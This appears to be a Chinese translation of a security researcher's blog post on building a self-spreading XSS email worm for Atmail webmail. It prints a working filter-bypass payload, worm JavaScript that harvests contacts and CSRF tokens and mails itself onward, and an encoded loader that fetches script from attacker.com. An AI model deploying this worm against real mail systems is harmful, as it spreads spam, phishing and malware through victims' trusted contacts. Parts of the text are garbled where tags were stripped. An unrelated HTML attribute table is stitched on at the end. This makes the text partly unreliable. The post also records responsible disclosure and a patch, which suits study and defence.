如何在Atmail上构建XSS蠕虫
测试环境:
在开始之前,我准备了一个简单的测试环境。使用以下命令发送电子邮件,将内容中的XSS测试有效内容管道传输到邮件中:
1 | cat content | mail -a "Content-type: text/html" -s "test" victim1@zjulian.com |
然后我使用Firefox开发工具来查看XSS payload是如何在webmail客户端的DOM中呈现的。
构建XSS有效payload:
第一步是构建一个XSS payload,可以完整地运行atmail的内容过滤。我开始发送一封包含所有有效的HTML标签的电子邮件,以查看哪些邮件传递后仍然保留,尽管我最终决定使用标签。虽然
很适合构建XSS payload,但其缺点是受害者必须在XSS触发之前必须在atmail内“显示图像”。可以使用带有渲染的标签来开发更好的有效payload,而无需进一步的用户交互。
接下来,我开始记录了邮件如何清理我的有效载荷。我需要观察atmail如何处理标签中的字符和HTML属性,以避免过滤器并在受害者的浏览器中呈现语法正确的标签。通过发送包含每个有效属性(1)的
标签,我注意到只允许src,alt,longdesc,style,height和width属性。另外,我注意到对我的有效载荷的几个修改,如将单引号转换为双引号,删除onerror事件,以及删除没有src属性的任何
标记。
虽然onerror事件被删除,我怀疑单引号转换为双引号可能有助于避免白名单,如果两者都在标签中使用。最后,这个怀疑证明是正确的,虽然我不得不在两个
标签之间使用一组双引号。以下是工作的XSS有效payload:
1 | <img longdesc="src='x'onerror=alert(document.domain);//><img " src='showme'> |
这在webmail客户端中呈现如下:
1 | <img longdesc="src=" images="" stop.png"="" onerror="alert(document.domain);//"" src="x" alt="showme"> |
没有查看应用程序源代码,在交付之前,无法准确知道对我的有效载荷进行哪些更改。然而,似乎atmail以单引号和双引号来解释这两个标签组合成一个。在longdesc属性中包含onerror事件,允许它通过内容过滤器,并在处理后正确呈现XSS。
(已经成功弹窗)
构建蠕虫:
找到一个工作的XSS向量后,下一步是创建一个有效载荷来传播我的电子邮件蠕虫。我写了一些执行三个步骤的JavaScript:
一、提取受害者的联系人列表
二、从atmail获取有效的CSRF令牌
三、向每个受害者的联系人发送电子邮件
此代码类似于以下内容,XSS有效内容包含在URL编码文本块中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | //HTTP request 请求联系人列表页面 xmlHttp=new XMLHttpRequest(); xmlHttp.open('GET','/index.php/mail/contacts/viewcontacts/GroupID/0',false); xmlHttp.send(null); response=xmlHttp.responseText; //通过正则匹配出所有联系人的email地址 var extractedemails = response.match(/[A-Z0-9._%+-]+@[A-Z0-9.-]+.[A-Z]{2,4}/igm); var uniqueemails = []; for(var i = 0; i < extractedemails.length; i++){if (uniqueemails.indexOf(extractedemails[i]) == -1) uniqueemails.push(extractedemails[i]);} //HTTP request to get CSRF token 获取csrf token xmlHttp.open('GET','/index.php/mail/contacts',false); xmlHttp.send(null); response2=xmlHttp.responseText; var csrftoken = response2.match(/name=\"atmailCSRF" value=\"(.+?)\"/im); //var csrftoken = document.getElementsByName('atmailCSRF')[0].value //给所有联系人发送蠕虫信息。 for (var i = 0; i < uniqueemails.length; i++) { xmlHttp.open('POST','/index.php/mail/composemessage/send',false); var params = 'atmailCSRF=' + csrftoken[1] + '&emailTo=' + unique[i] + '&emailSubject=open%20me&emailBodyHtml=%3c%68%33%3e%61%74%6d%61%69%6c%20%65%6d%61%69%6c%20%58%53%53%20%77%6f%72%6d%3c%2f%68%33%3e%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%3c%69%6d%67%20%6c%6f%6e%67%64%65%73%63%3d%22%73%72%63%3d%27%78%27%6f%6e%65%72%72%6f%72%3d%65%76%61%6c%28%77%69%6e%64%6f%77%2e%61%74%6f%62%28%27%61%57%35%6a%62%48%56%6b%5a%54%31%6b%62%32%4e%31%62%57%56%75%64%43%35%6a%63%6d%56%68%64%47%56%46%62%47%56%74%5a%57%35%30%4b%43%64%7a%59%33%4a%70%63%48%51%6e%4b%54%74%70%62%6d%4e%73%64%57%52%6c%4c%6e%4e%79%59%7a%30%6e%61%48%52%30%63%48%4d%36%4c%79%39%68%64%48%52%68%59%32%74%6c%63%69%35%6a%62%32%30%76%59%58%52%74%59%57%6c%73%4c%6d%70%7a%4a%7a%74%6b%62%32%4e%31%62%57%56%75%64%43%35%6f%5a%57%46%6b%4c%6d%46%77%63%47%56%75%5a%45%4e%6f%61%57%78%6b%4b%47%6c%75%59%32%78%31%5a%47%55%70%4f%77%3d%3d%27%29%29%3b%2f%2f%3e%3c%69%6d%67%20%22%20%73%72%63%3d%27%73%68%6f%77%6d%65%27%3e'; xmlHttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xmlHttp.send(params); |
首先,我尝试对此JavaScript进行Base64编码,并将其包含在XSS有效载荷的onerror事件中。然后使用eval(atob())对其进行解码和执行,如下所示:
1 | <img longdesc=" xss/ src='x'onerror=eval(window.atob('eGg9bmV3IFhNTEh0dHBS…omitted for brevity…'));//><img " src='showme'> |
但是,我注意到atmail将我的Base64字符串限制为945个字符,太短。而不是将整个脚本包含在onerror事件中,我将其托管在外部位置,然后重写了我的XSS有效payload,如下所示:
1 | onerror="include=document.createElement('script');include.src='https://attacker.com/atmail.js';document.head.appendChild(include);" |
上面显示的有效payload在页面的<head>元素中创建一个新的<script>标签,包括我的恶意外部托管的JavaScript。这也是Base64编码,使最终的有效payload如下:
1 | <img longdesc="src='x'onerror=eval(window.atob('aW5jbHVkZT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtpbmNsdWRlLnNyYz0naHR0cHM6Ly9hdHRhY2tlci5jb20vYXRtYWlsLmpzJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGluY2x1ZGUpOw=='));//><img " src='showme'> |
随着一切都到位,蠕虫已经开始运作了。这个视频演示了它的行动:
看下面的视频必须翻墙,否则无法查看。youtube的视频
atmail上的XSS蠕虫将有利于垃圾邮件发送者和其他恶意行为者,他们将受益于操纵受害者向他们的联系人列表发送任意消息。由于其病毒性质和与已知联系人收到的电子邮件相关的附加信任,此攻击将非常适合垃圾邮件,恶意软件传送或网络钓鱼攻击。
披露时间表:
发现此漏洞后,我开始与atmail进行负责任的披露。截至2017年5月25日,他们已经解决了这个问题,可以通过升级到atmail版本7.8.0.2进行修补。
作者:Zach Julian 文章来源:https://www.bishopfox.com/blog/2017/06/how-i-built-an-xss-worm-on-atmail/
可选的属性
属性 | 值 | 描述 |
---|---|---|
align |
|
不推荐使用。规定如何根据周围的文本来排列图像。 |
border | pixels | 不推荐使用。定义图像周围的边框。 |
height |
|
定义图像的高度。 |
hspace | pixels | 不推荐使用。定义图像左侧和右侧的空白。 |
ismap | URL | 将图像定义为服务器端图像映射。 |
longdesc | URL | 指向包含长的图像描述文档的 URL。 |
usemap | URL | 将图像定义为客户器端图像映射。 |
vspace | pixels | 不推荐使用。定义图像顶部和底部的空白。 |
width |
|
设置图像的宽度。 |
布施恩德可便相知重
微信扫一扫打赏
支付宝扫一扫打赏